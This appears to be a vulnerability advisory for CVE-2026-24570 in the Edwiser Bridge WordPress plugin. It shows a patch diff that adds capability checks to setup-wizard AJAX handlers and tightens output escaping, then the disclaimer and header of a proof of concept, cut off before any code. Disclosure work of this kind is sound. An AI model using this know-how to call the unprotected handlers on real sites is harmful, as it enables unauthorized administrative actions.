+                    $edit_html = '<a target="_blank" style="font-size:13px;" href="' . esc_url($edit_link) . '">' . esc_html__('Edit', 'edwiser-bridge') . '</a>';
                 } else {
                     $edit_html = '';
                 }
@@ -96,7 +96,7 @@
                         <img src="<?php echo esc_url(EB_PRO_PLUGIN_URL . 'admin/assets/images/' . $template['img']); ?>" alt="<?php echo esc_attr($template['title']); ?>">
                     </div>
                     <div class="eb_template_content">
-                        <h2><?php echo esc_html($template['title']); ?> <?php echo $edit_html; ?></h2>
+                        <h2><?php echo esc_html($template['title']); ?> <?php echo wp_kses_post( $edit_html ); ?></h2>
                         <p><?php echo esc_html($template['desc']); ?></p>
                         <?php
                         if ($elementor_pro && $woo_int_enabled) {
@@ -105,12 +105,12 @@
                                 <?php
                                 if (! $template['template_id']) {
                                 ?>
-                                    <a href="#" data-template="<?php echo esc_attr($key); ?>" class="eb-pro-button eb-pro-primary eb-template-restore"><?php esc_html_e('Create Template', 'edwiser-bridge-pro'); ?></a>
+                                    <a href="#" data-template="<?php echo esc_attr($key); ?>" class="eb-pro-button eb-pro-primary eb-template-restore"><?php esc_html_e('Create Template', 'edwiser-bridge'); ?></a>
                                 <?php
                                 } else {
                                 ?>
-                                    <!-- <a target="_blank" href="<?php echo esc_url($edit_link); ?>" class="eb-pro-button eb-pro-primary"><?php esc_html_e('Edit Template', 'edwiser-bridge-pro'); ?></a> -->
-                                    <a href="#" data-template="<?php echo esc_attr($key); ?>" class="eb-pro-button eb-pro-primary eb-template-restore"><?php esc_html_e('Use this template', 'edwiser-bridge-pro'); ?></a>
+                                    <!-- <a target="_blank" href="<?php echo esc_url($edit_link); ?>" class="eb-pro-button eb-pro-primary"><?php esc_html_e('Edit Template', 'edwiser-bridge'); ?></a> -->
+                                    <a href="#" data-template="<?php echo esc_attr($key); ?>" class="eb-pro-button eb-pro-primary eb-template-restore"><?php esc_html_e('Use this template', 'edwiser-bridge'); ?></a>
                                 <?php
                                 }
                                 ?>
@@ -135,8 +135,8 @@
                                 if ($template['template_id']) {
                                 ?>
                                     <div class="confirmation-body">
-                                        <p class="confirmation-info"><?php esc_html_e('Restoring this page will revert it to its default state, undoing any customizations you may have made. Proceed with caution if you intend to revert to the original design.', 'edwiser-bridge-pro'); ?></p>
-                                        <p class="confirmation-info"><?php esc_html_e('Note: If you are setting this up for the first time, you can safely ignore this warning.', 'edwiser-bridge-pro'); ?></p>
+                                        <p class="confirmation-info"><?php esc_html_e('Restoring this page will revert it to its default state, undoing any customizations you may have made. Proceed with caution if you intend to revert to the original design.', 'edwiser-bridge'); ?></p>
+                                        <p class="confirmation-info"><?php esc_html_e('Note: If you are setting this up for the first time, you can safely ignore this warning.', 'edwiser-bridge'); ?></p>
                                         <div class="confirmation-action">
                                             <?php
                                             $restore_link = add_query_arg(
@@ -148,16 +148,16 @@
                                                 admin_url('admin.php?page=eb-settings&tab=templates&section=elementor-templates')
                                             );
                                             ?>
-                                            <span><?php esc_html_e('Are you sure you want to ‘Restore’ this page?', 'edwiser-bridge-pro'); ?></span>
-                                            <a href="<?php echo esc_url($restore_link); ?>" class="eb-pro-button eb-pro-secondary eb-template-restore-confirm-yes"><?php esc_html_e('Yes', 'edwiser-bridge-pro'); ?></a>
-                                            <a href="#" data-template="<?php echo esc_attr($key); ?>" class="eb-pro-button eb-pro-secondary eb-template-restore-confirm-no"><?php esc_html_e('No', 'edwiser-bridge-pro'); ?></a>
+                                            <span><?php esc_html_e('Are you sure you want to ‘Restore’ this page?', 'edwiser-bridge'); ?></span>
+                                            <a href="<?php echo esc_url($restore_link); ?>" class="eb-pro-button eb-pro-secondary eb-template-restore-confirm-yes"><?php esc_html_e('Yes', 'edwiser-bridge'); ?></a>
+                                            <a href="#" data-template="<?php echo esc_attr($key); ?>" class="eb-pro-button eb-pro-secondary eb-template-restore-confirm-no"><?php esc_html_e('No', 'edwiser-bridge'); ?></a>
                                         </div>
                                     </div>
                                 <?php
                                 } else {
                                 ?>
                                     <div class="confirmation-body">
-                                        <p class="confirmation-info"><?php esc_html_e('This will overide your old template with the Edwiser Bridge’s new template. No data will be lost.', 'edwiser-bridge-pro'); ?></p>
+                                        <p class="confirmation-info"><?php esc_html_e('This will overide your old template with the Edwiser Bridge’s new template. No data will be lost.', 'edwiser-bridge'); ?></p>
                                         <div class="confirmation-action">
                                             <?php
                                             $create_link = add_query_arg(
@@ -169,9 +169,9 @@
                                                 admin_url('admin.php?page=eb-settings&tab=templates&section=elementor-templates')
                                             );
                                             ?>
-                                            <span><?php esc_html_e('Are you sure you want to create this template?', 'edwiser-bridge-pro'); ?></span>
-                                            <a href="<?php echo esc_url($create_link); ?>" class="eb-pro-button eb-pro-secondary eb-template-restore-confirm-yes"><?php esc_html_e('Yes', 'edwiser-bridge-pro'); ?></a>
-                                            <a href="#" data-template="<?php echo esc_attr($key); ?>" class="eb-pro-button eb-pro-secondary eb-template-restore-confirm-no"><?php esc_html_e('No', 'edwiser-bridge-pro'); ?></a>
+                                            <span><?php esc_html_e('Are you sure you want to create this template?', 'edwiser-bridge'); ?></span>
+                                            <a href="<?php echo esc_url($create_link); ?>" class="eb-pro-button eb-pro-secondary eb-template-restore-confirm-yes"><?php esc_html_e('Yes', 'edwiser-bridge'); ?></a>
+                                            <a href="#" data-template="<?php echo esc_attr($key); ?>" class="eb-pro-button eb-pro-secondary eb-template-restore-confirm-no"><?php esc_html_e('No', 'edwiser-bridge'); ?></a>
                                         </div>
                                     </div>
                                 <?php
@@ -193,11 +193,11 @@
                     <circle cx="12" cy="12" r="11.5" fill="white" stroke="#C4C4C4" />
                     <path d="M10.5332 14.1085V13.5708C10.5332 13.1058 10.6325 12.7013 10.8311 12.3574C11.0297 12.0135 11.393 11.6478 11.921 11.2603C12.4296 10.897 12.7638 10.6015 12.9237 10.3738C13.0884 10.1462 13.1707 9.89188 13.1707 9.61093C13.1707 9.29608 13.0545 9.05631 12.8219 8.89162C12.5894 8.72692 12.2649 8.64458 11.8483 8.64458C11.1217 8.64458 10.2934 8.88193 9.36341 9.35663L8.57143 7.76541C9.65162 7.15992 10.7972 6.85718 12.0082 6.85718C13.006 6.85718 13.798 7.09695 14.3841 7.5765C14.9751 8.05604 15.2705 8.69544 15.2705 9.49468C15.2705 10.0275 15.1494 10.4877 14.9072 10.8752C14.6651 11.2627 14.2049 11.6987 13.5267 12.183C13.0617 12.527 12.7662 12.7885 12.6403 12.9678C12.5192 13.147 12.4587 13.3819 12.4587 13.6725V14.1085H10.5332ZM10.3007 16.5934C10.3007 16.1865 10.4097 15.8789 10.6277 15.6707C10.8456 15.4624 11.1629 15.3582 11.5795 15.3582C11.9815 15.3582 12.2915 15.4648 12.5095 15.6779C12.7323 15.891 12.8437 16.1962 12.8437 16.5934C12.8437 16.9761 12.7323 17.2788 12.5095 17.5016C12.2867 17.7196 11.9767 17.8286 11.5795 17.8286C11.1726 17.8286 10.8577 17.722 10.6349 17.5089C10.4121 17.2909 10.3007 16.9858 10.3007 16.5934Z" fill="#F98012" />
                 </svg>
-                <span class="eb-help-tootip-content"><?php esc_html_e('Looking for help?', 'edwiser-bridge-pro'); ?></span>
+                <span class="eb-help-tootip-content"><?php esc_html_e('Looking for help?', 'edwiser-bridge'); ?></span>
             </div>
             <ul>
-                <li><a target="_blank" href="https://edwiser.org/documentation/edwiser-bridge-woocommerce-integration/elementor-pro-enhanced-templates/"><?php esc_html_e('For setup instructions, click here.', 'edwiser-bridge-pro'); ?></a></li>
-                <li><?php esc_html_e('Talk to us:', 'edwiser-bridge-pro'); ?> <a href="mailto:edwiser@wisdmlabs.com">edwiser@wisdmlabs.com</a></li>
+                <li><a target="_blank" href="https://edwiser.org/documentation/edwiser-bridge-woocommerce-integration/elementor-pro-enhanced-templates/"><?php esc_html_e('For setup instructions, click here.', 'edwiser-bridge'); ?></a></li>
+                <li><?php esc_html_e('Talk to us:', 'edwiser-bridge'); ?> <a href="mailto:edwiser@wisdmlabs.com">edwiser@wisdmlabs.com</a></li>
             </ul>
         </div>
     </div>
--- a/edwiser-bridge/admin/partials/html-gutenberg-templates.php
+++ b/edwiser-bridge/admin/partials/html-gutenberg-templates.php
@@ -288,11 +288,11 @@
                 <circle cx="12" cy="12" r="11.5" fill="white" stroke="#C4C4C4" />
                 <path d="M10.5332 14.1085V13.5708C10.5332 13.1058 10.6325 12.7013 10.8311 12.3574C11.0297 12.0135 11.393 11.6478 11.921 11.2603C12.4296 10.897 12.7638 10.6015 12.9237 10.3738C13.0884 10.1462 13.1707 9.89188 13.1707 9.61093C13.1707 9.29608 13.0545 9.05631 12.8219 8.89162C12.5894 8.72692 12.2649 8.64458 11.8483 8.64458C11.1217 8.64458 10.2934 8.88193 9.36341 9.35663L8.57143 7.76541C9.65162 7.15992 10.7972 6.85718 12.0082 6.85718C13.006 6.85718 13.798 7.09695 14.3841 7.5765C14.9751 8.05604 15.2705 8.69544 15.2705 9.49468C15.2705 10.0275 15.1494 10.4877 14.9072 10.8752C14.6651 11.2627 14.2049 11.6987 13.5267 12.183C13.0617 12.527 12.7662 12.7885 12.6403 12.9678C12.5192 13.147 12.4587 13.3819 12.4587 13.6725V14.1085H10.5332ZM10.3007 16.5934C10.3007 16.1865 10.4097 15.8789 10.6277 15.6707C10.8456 15.4624 11.1629 15.3582 11.5795 15.3582C11.9815 15.3582 12.2915 15.4648 12.5095 15.6779C12.7323 15.891 12.8437 16.1962 12.8437 16.5934C12.8437 16.9761 12.7323 17.2788 12.5095 17.5016C12.2867 17.7196 11.9767 17.8286 11.5795 17.8286C11.1726 17.8286 10.8577 17.722 10.6349 17.5089C10.4121 17.2909 10.3007 16.9858 10.3007 16.5934Z" fill="#F98012" />
             </svg>
-            <span class="eb-help-tootip-content"><?php esc_html_e('Looking for help?', 'edwiser-bridge-pro'); ?></span>
+            <span class="eb-help-tootip-content"><?php esc_html_e('Looking for help?', 'edwiser-bridge'); ?></span>
         </div>
         <ul>
-            <li><a target="_blank" href="https://edwiser.org/documentation/edwiser-bridge-woocommerce-integration/elementor-pro-enhanced-templates/"><?php esc_html_e('For setup instructions, click here.', 'edwiser-bridge-pro'); ?></a></li>
-            <li><?php esc_html_e('Talk to us:', 'edwiser-bridge-pro'); ?> <a href="mailto:edwiser@wisdmlabs.com">edwiser@wisdmlabs.com</a></li>
+            <li><a target="_blank" href="https://edwiser.org/documentation/edwiser-bridge-woocommerce-integration/elementor-pro-enhanced-templates/"><?php esc_html_e('For setup instructions, click here.', 'edwiser-bridge'); ?></a></li>
+            <li><?php esc_html_e('Talk to us:', 'edwiser-bridge'); ?> <a href="mailto:edwiser@wisdmlabs.com">edwiser@wisdmlabs.com</a></li>
         </ul>
     </div>
 </div>
--- a/edwiser-bridge/admin/partials/html-impact-section.php
+++ b/edwiser-bridge/admin/partials/html-impact-section.php
@@ -1,5 +1,9 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 ?>

 <style>
--- a/edwiser-bridge/admin/partials/html-pro-featuers.php
+++ b/edwiser-bridge/admin/partials/html-pro-featuers.php
@@ -59,7 +59,7 @@
 						<?php
 						if ( $this->is_plugin_active( $key ) ) {
 							?>
-							<a class="eb-pro-plugin-setting"  href="<?php echo esc_attr( $plugin_single['setting_url'] ); ?>">
+							<a class="eb-pro-plugin-setting"  href="<?php echo esc_url( $plugin_single['setting_url'] ); ?>">
 								<svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg">
 									<g clip-path="url(#clip0_1975_628)">
 										<path fill-rule="evenodd" clip-rule="evenodd" d="M7.75486 1.67861C8.41361 -0.558887 11.5861 -0.558887 12.2449 1.67861L12.3624 2.07736C12.4084 2.23355 12.4887 2.37747 12.5976 2.49856C12.7064 2.61965 12.841 2.71485 12.9914 2.77718C13.1419 2.83951 13.3043 2.86738 13.4669 2.85876C13.6295 2.85014 13.7881 2.80524 13.9311 2.72736L14.2961 2.52861C16.3449 1.41236 18.5886 3.65361 17.4724 5.70361L17.2724 6.06861C17.1945 6.2116 17.1496 6.37021 17.141 6.53281C17.1323 6.6954 17.1602 6.85787 17.2225 7.00829C17.2849 7.15871 17.3801 7.29328 17.5012 7.40213C17.6223 7.51099 17.7662 7.59136 17.9224 7.63736L18.3211 7.75486C20.5586 8.41361 20.5586 11.5861 18.3211 12.2449L17.9224 12.3624C17.7662 12.4084 17.6223 12.4887 17.5012 12.5976C17.3801 12.7064 17.2849 12.841 17.2225 12.9914C17.1602 13.1419 17.1323 13.3043 17.141 13.4669C17.1496 13.6295 17.1945 13.7881 17.2724 13.9311L17.4711 14.2961C18.5886 16.3449 16.3461 18.5886 14.2961 17.4724L13.9311 17.2724C13.7881 17.1945 13.6295 17.1496 13.4669 17.141C13.3043 17.1323 13.1419 17.1602 12.9914 17.2225C12.841 17.2849 12.7064 17.3801 12.5976 17.5012C12.4887 17.6223 12.4084 17.7662 12.3624 17.9224L12.2449 18.3211C11.5861 20.5586 8.41361 20.5586 7.75486 18.3211L7.63736 17.9224C7.59136 17.7662 7.51099 17.6223 7.40213 17.5012C7.29328 17.3801 7.15871 17.2849 7.00829 17.2225C6.85787 17.1602 6.6954 17.1323 6.53281 17.141C6.37021 17.1496 6.2116 17.1945 6.06861 17.2724L5.70361 17.4711C3.65361 18.5886 1.41236 16.3461 2.52736 14.2961L2.72736 13.9311C2.80524 13.7881 2.85014 13.6295 2.85876 13.4669C2.86738 13.3043 2.83951 13.1419 2.77718 12.9914C2.71485 12.841 2.61965 12.7064 2.49856 12.5976C2.37747 12.4887 2.23355 12.4084 2.07736 12.3624L1.67861 12.2449C-0.558887 11.5861 -0.558887 8.41361 1.67861 7.75486L2.07736 7.63736C2.23355 7.59136 2.37747 7.51099 2.49856 7.40213C2.61965 7.29328 2.71485 7.15871 2.77718 7.00829C2.83951 6.85787 2.86738 6.6954 2.85876 6.53281C2.85014 6.37021 2.80524 6.2116 2.72736 6.06861L2.52861 5.70361C1.41236 3.65486 3.65361 1.41236 5.70361 2.52736L6.06861 2.72736C6.2116 2.80524 6.37021 2.85014 6.53281 2.85876C6.6954 2.86738 6.85787 2.83951 7.00829 2.77718C7.15871 2.71485 7.29328 2.61965 7.40213 2.49856C7.51099 2.37747 7.59136 2.23355 7.63736 2.07736L7.75486 1.67861ZM11.0461 2.03236C10.7386 0.988613 9.26111 0.988613 8.95361 2.03236L8.83611 2.43111C8.73729 2.76605 8.5648 3.07463 8.33128 3.33426C8.09775 3.5939 7.8091 3.79801 7.48647 3.93163C7.16385 4.06526 6.81542 4.12503 6.4667 4.10655C6.11798 4.08808 5.77781 3.99183 5.47111 3.82486L5.10611 3.62611C4.14986 3.10611 3.10611 4.15111 3.62486 5.10611L3.82486 5.47111C3.9916 5.77777 4.08766 6.11782 4.10601 6.46639C4.12436 6.81496 4.06454 7.16322 3.93093 7.48568C3.79732 7.80815 3.59329 8.09666 3.33379 8.3301C3.07429 8.56354 2.76587 8.736 2.43111 8.83486L2.03236 8.95236C0.988613 9.25986 0.988613 10.7374 2.03236 11.0449L2.43111 11.1624C2.76639 11.2611 3.07532 11.4336 3.33521 11.6673C3.59511 11.901 3.79938 12.19 3.93304 12.5129C4.06671 12.8359 4.12637 13.1846 4.10765 13.5337C4.08893 13.8827 3.9923 14.2231 3.82486 14.5299L3.62611 14.8936C3.10611 15.8499 4.15111 16.8936 5.10611 16.3749L5.47111 16.1749C5.77781 16.0079 6.11798 15.9116 6.4667 15.8932C6.81542 15.8747 7.16385 15.9345 7.48647 16.0681C7.8091 16.2017 8.09775 16.4058 8.33128 16.6655C8.5648 16.9251 8.73729 17.2337 8.83611 17.5686L8.95361 17.9674C9.26111 19.0111 10.7386 19.0111 11.0461 17.9674L11.1636 17.5699C11.2622 17.2346 11.4347 16.9258 11.6682 16.6659C11.9018 16.406 12.1905 16.2016 12.5133 16.0678C12.8361 15.9341 13.1848 15.8743 13.5337 15.8928C13.8827 15.9113 14.223 16.0077 14.5299 16.1749L14.8936 16.3736C15.8499 16.8936 16.8936 15.8486 16.3749 14.8936L16.1749 14.5299C16.0077 14.2231 15.9112 13.8828 15.8926 13.534C15.874 13.1851 15.9337 12.8365 16.0674 12.5137C16.201 12.1909 16.4052 11.9021 16.665 11.6685C16.9248 11.4349 17.2335 11.2624 17.5686 11.1636L17.9674 11.0461C19.0111 10.7386 19.0111 9.26111 17.9674 8.95361L17.5699 8.83611C17.2348 8.73744 16.9261 8.56505 16.6663 8.33158C16.4066 8.09812 16.2023 7.80949 16.0686 7.48684C15.9348 7.1642 15.8749 6.81572 15.8933 6.46693C15.9117 6.11815 16.0079 5.7779 16.1749 5.47111L16.3736 5.10611C16.8936 4.14986 15.8486 3.10611 14.8936 3.62486L14.5299 3.82486C14.2231 3.99207 13.8828 4.0885 13.534 4.1071C13.1851 4.1257 12.8365 4.06598 12.5137 3.93234C12.1909 3.79869 11.9021 3.5945 11.6685 3.33474C11.4349 3.07497 11.2624 2.76622 11.1636 2.43111L11.0461 2.03236ZM8.44725 6.25124C8.93953 6.04733 9.46715 5.94238 9.99999 5.94238C11.0761 5.94238 12.1081 6.36987 12.8691 7.1308C13.63 7.89173 14.0575 8.92377 14.0575 9.99988C14.0575 11.076 13.63 12.108 12.8691 12.869C12.1081 13.6299 11.0761 14.0574 9.99999 14.0574C9.46715 14.0574 8.93953 13.9524 8.44725 13.7485C7.95498 13.5446 7.50768 13.2457 7.13091 12.869C6.75413 12.4922 6.45526 12.0449 6.25135 11.5526C6.04744 11.0603 5.94249 10.5327 5.94249 9.99988C5.94249 9.46704 6.04744 8.93942 6.25135 8.44714C6.45526 7.95487 6.75413 7.50757 7.13091 7.1308C7.50768 6.75402 7.95498 6.45515 8.44725 6.25124ZM8.01479 8.01468C7.48828 8.54119 7.19249 9.25529 7.19249 9.99988C7.19249 10.7445 7.48828 11.4586 8.01479 11.9851C8.5413 12.5116 9.2554 12.8074 9.99999 12.8074C10.7446 12.8074 11.4587 12.5116 11.9852 11.9851C12.5117 11.4586 12.8075 10.7445 12.8075 9.99988C12.8075 9.25529 12.5117 8.54119 11.9852 8.01468C11.4587 7.48817 10.7446 7.19238 9.99999 7.19238C9.2554 7.19238 8.5413 7.48817 8.01479 8.01468Z" fill="#444444"/>
--- a/edwiser-bridge/admin/settings/class-eb-bridge-summary.php
+++ b/edwiser-bridge/admin/settings/class-eb-bridge-summary.php
@@ -163,13 +163,13 @@
 			if ( ! $version_info ) {
 				?>
 				<?php echo esc_attr( $remote_data['version'] ); ?>
-				<a style='padding-left:0.5rem;' target='_blank' href="<?php echo esc_url( $remote_data['url'] ); ?>" title='<?php esc_attr_e( 'Plugin is not installed, Click to download the plugin file.', 'edwiser-bridge' ); ?>'><?php esc_attr_e( 'Download Plugin', 'edwiser-bridge' ); ?></a>
+				<a style='padding-left:0.5rem;' target='_blank' href="<?php echo esc_url( $remote_data['url'] ); ?>" title='<?php esc_attr_e( 'Plugin is not installed, Click to download the plugin file.', 'edwiser-bridge' ); ?>'><?php esc_html_e( 'Download Plugin', 'edwiser-bridge' ); ?></a>
 				<?php
 			} elseif ( $remote_data['version'] ) {
 				if ( version_compare( $remote_data['version'], $version_info, '>' ) ) {
 					?>
 					<?php echo esc_attr( $remote_data['version'] ); ?>
-					<a style='padding-left:0.5rem;' target='_blank' href="<?php echo esc_url( $remote_data['url'] ); ?>" title='<?php esc_attr_e( 'Click to download the plugin file. Or you can update the from plugin page.', 'edwiser-bridge' ); ?>'><?php echo esc_attr_e( 'Download', 'edwiser-bridge' ); ?></a>
+					<a style='padding-left:0.5rem;' target='_blank' href="<?php echo esc_url( $remote_data['url'] ); ?>" title='<?php esc_attr_e( 'Click to download the plugin file. Or you can update the from plugin page.', 'edwiser-bridge' ); ?>'><?php esc_html_e( 'Download', 'edwiser-bridge' ); ?></a>
 					<?php
 				} elseif ( version_compare( $remote_data['version'], $version_info, '<=' ) ) {
 					?>
--- a/edwiser-bridge/admin/settings/class-eb-error-log.php
+++ b/edwiser-bridge/admin/settings/class-eb-error-log.php
@@ -125,7 +125,8 @@
 				<div class="notice notice-success is-dismissible">
 					<p>
 						<strong>
-							<?php sprintf( '%s ', $cnt ) . esc_html_e( ' error logs are deleted successfully.', 'edwiser-bridge' ); ?>
+							<?php echo esc_html( $cnt . ' ' ); esc_html_e( 'error logs are deleted successfully.', 'edwiser-bridge' ); ?>
+
 						</strong>
 					</p>
 					<button type="button" class="notice-dismiss">
--- a/edwiser-bridge/admin/settings/class-eb-settings-dummy.php
+++ b/edwiser-bridge/admin/settings/class-eb-settings-dummy.php
@@ -59,7 +59,7 @@
 				<div class="eb-dummy-set-wrap">
 					<div class="eb-dummy-set-cta">
 						<h3><?php echo esc_html( $data['cta_msg'] ); ?></h3>
-						<p><?php esc_html_e( 'I want to know more.' ); ?></p>
+						<p><?php esc_html_e( 'I want to know more.', 'edwiser-bridge' ); ?></p>
 						<div class="ebpf-st-arrow">
 							<span class="dashicons dashicons-arrow-down-alt2"></span>
 							<span class="dashicons dashicons-arrow-down-alt2"></span>
--- a/edwiser-bridge/admin/settings/class-eb-settings-general.php
+++ b/edwiser-bridge/admin/settings/class-eb-settings-general.php
@@ -448,7 +448,7 @@
 										<span><?php esc_html_e( 'Run Setup Wizard', 'edwiser-bridge' ); ?></span>
 									</legend>
 									<label for="">
-										<a href='<?php echo esc_attr( $url ); ?>' class='button'> <?php esc_html_e( 'Setup Wizard', 'edwiser-bridge' ); ?> </a>
+										<a href='<?php echo esc_url( $url ); ?>' class='button'> <?php esc_html_e( 'Setup Wizard', 'edwiser-bridge' ); ?> </a>
 									</label>
 									<p><strong><?php esc_html_e( 'Note: Setup Wizard is intended for new users only. For technical issues or Edwiser plugin updates, please refer to our knowledge-base.', 'edwiser-bridge' ); ?></strong></p>
 							</fieldset>
--- a/edwiser-bridge/admin/setup-wizard/class-eb-setup-wizard-functions.php
+++ b/edwiser-bridge/admin/setup-wizard/class-eb-setup-wizard-functions.php
@@ -274,6 +274,9 @@
 	 * Added This new function instead of adding one by one function for wp_ajax hook, as by default parameter is not being set in each step callback so wrote below wrapper function for all of them and provided parameter 1.
 	 */
 	public function eb_setup_change_step() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'message' => esc_html__( 'You do not have permission to perform this action.', 'edwiser-bridge' ) ) );
+		}
 		if ( isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'eb_setup_wizard' ) ) {
 			$step                   = isset( $_POST['step'] ) ? sanitize_text_field( wp_unslash( $_POST['step'] ) ) : '';
 			$steps                  = $this->eb_setup_wizard_get_steps();
@@ -289,7 +292,9 @@
 	 * Setup Wizard Manage license.
 	 */
 	public function eb_setup_manage_license() {
-
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'message' => esc_html__( 'You do not have permission to perform this action.', 'edwiser-bridge' ) ) );
+		}
 		if ( isset( $_POST['_wpnonce_field'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'eb_setup_wizard' ) ) {
 			if ( ! class_exists( 'Licensing_Settings' ) ) {
 				include_once plugin_dir_path( __DIR__ ) . 'settings/class-eb-settings-page.php';
@@ -327,6 +332,9 @@
 	 * Setup Wizard validate license keys.
 	 */
 	public function eb_setup_validate_license() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'message' => esc_html__( 'You do not have permission to perform this action.', 'edwiser-bridge' ) ) );
+		}
 		$response = array(
 			'status' => 'error',
 			'msg'    => __( 'Something went wrong. Please try again.', 'edwiser-bridge' ),
@@ -415,6 +423,9 @@
 	 * Setup Wizard Test connection handler.
 	 */
 	public function eb_setup_test_connection_handler() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'message' => esc_html__( 'You do not have permission to perform this action.', 'edwiser-bridge' ) ) );
+		}
 		if ( isset( $_POST['_wpnonce_field'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'eb_setup_wizard' ) ) {

 			$url   = isset( $_POST['url'] ) ? sanitize_text_field( wp_unslash( $_POST['url'] ) ) : '';
@@ -433,6 +444,9 @@
 	 * Setup Wizard Test connection handler.
 	 */
 	public function eb_setup_course_sync() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'message' => esc_html__( 'You do not have permission to perform this action.', 'edwiser-bridge' ) ) );
+		}
 		if ( isset( $_POST['_wpnonce_field'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce_field'] ) ), 'eb_setup_wizard' ) ) {
 			$publish                              = isset( $_POST['publish'] ) ? sanitize_text_field( wp_unslash( $_POST['publish'] ) ) : '';
 			$sync_options['eb_synchronize_draft'] = '1';
@@ -453,6 +467,9 @@
 	 * Setup Wizard Save step and redirect to next step.
 	 */
 	public function eb_setup_save_and_continue() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'message' => esc_html__( 'You do not have permission to perform this action.', 'edwiser-bridge' ) ) );
+		}
 		if ( isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'eb_setup_wizard' ) ) {
 			$data             = $_POST['data']; // phpcs:ignore
 			$current_step     = $data['current_step'];
@@ -711,11 +728,13 @@
 				'contact_hosting'				  => esc_html__( 'The plugin is receiving an invalid response code from Moodle website or is unable to connect. Please contact your hosting provider.', 'edwiser-bridge' ),
 				'token_mismatch'				  => esc_html__( 'Token added does not match the token configured on the moodle site.', 'edwiser-bridge' ),
 				'not_authorized' 				  => esc_html__( 'The user(s) associated with the token creation in Moodle are either not included in the web service's authorized users list or lack the required site administrator or manager roles. Consequently, their access is limited, which may result in issues with data synchronization.', 'edwiser-bridge' ),
-				'turn_off_debug_log'			  => sprintf( esc_html__( 'Please turn off debug display(WP_DEBUG & WP_DEBUG_DISPLAY) in wp-config.php and disable debug mode on Moodle website as well to fix this issue. Click %s here %s to learn more.', 'edwiser-bridge' ), '<a href="https://edwiser.helpscoutdocs.com/article/575-disabling-debugging-in-wordpress-and-moodle" target="_blank">', '</a>' ),
+				/* translators: %1$s: opening link tag, %2$s: closing link tag */
+			'turn_off_debug_log'			  => sprintf( esc_html__( 'Please turn off debug display(WP_DEBUG & WP_DEBUG_DISPLAY) in wp-config.php and disable debug mode on Moodle website as well to fix this issue. Click %1$s here %2$s to learn more.', 'edwiser-bridge' ), '<a href="https://edwiser.helpscoutdocs.com/article/575-disabling-debugging-in-wordpress-and-moodle" target="_blank">', '</a>' ),
 				'please_refresh'			  	  => esc_html__( 'Please refresh the page and check again. If the issue is still not resolved please contact support.', 'edwiser-bridge' ),
 				'wp_version_issue'  			  => esc_html__( 'Your WordPress version is not supported. Please upgrade to the latest version.', 'edwiser-bridge' ),
 				'rest_disable_issue'			  => esc_html__( 'The REST API is disabled by either a Security plugin or some other plugin using hooks. It might also have been disabled in your server configuration. Please disable any security plugins and search for conflicts. If the issue doesnt get resolved contact the hosting provider to confirm that server configuration is not causing any issues.', 'edwiser-bridge' ),
-				'permalink_setting_issue'		  => sprintf( esc_html__( 'Please change your permalink settings manually to Post Name by navigating in Settings > %s Permalink Settings %s and click Test Connection again after refreshing the page.', 'edwiser-bridge' ), '<a href="/wp-admin/options-permalink.php" target="_blank">', '</a>' ),
+				/* translators: %1$s: opening link tag, %2$s: closing link tag */
+			'permalink_setting_issue'		  => sprintf( esc_html__( 'Please change your permalink settings manually to Post Name by navigating in Settings > %1$s Permalink Settings %2$s and click Test Connection again after refreshing the page.', 'edwiser-bridge' ), '<a href="/wp-admin/options-permalink.php" target="_blank">', '</a>' ),
 				'htaccess_file_missing'			  => esc_html__( 'The .htaccess file is missing. Please click Fix now link shown to create the file.', 'edwiser-bridge' ),
 				'htaccess_rule_missing'		      => esc_html__( 'The .htaccess file is missing the required rewrite rule. Please click Fix now link shown to add the rule.', 'edwiser-bridge' ),
 				'htaccess_rule_instructions'	  => esc_html__( 'Please add the following rule to the .htaccess file located in the root of your website or create the file to add the rules. "# BEGIN WordPress
@@ -1093,7 +1112,7 @@
 		} elseif ( is_null( $result ) ) {
 			global $wp_filesystem;

-			$status = '<span class="eb_license_error"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24570 - Edwiser Bridge <= 4.3.2 - Missing Authorization

<?php
/*
Edwiser Bridge Missing Authorization PoC

This script demonstrates the missing authorization vulnerability in Edwiser Bridge <= 4.3.2.
An authenticated subscriber can perform administrative AJAX actions.

Requirements:
- Valid WordPress subscriber credentials
- Target site with vulnerable Edwiser Bridge plugin
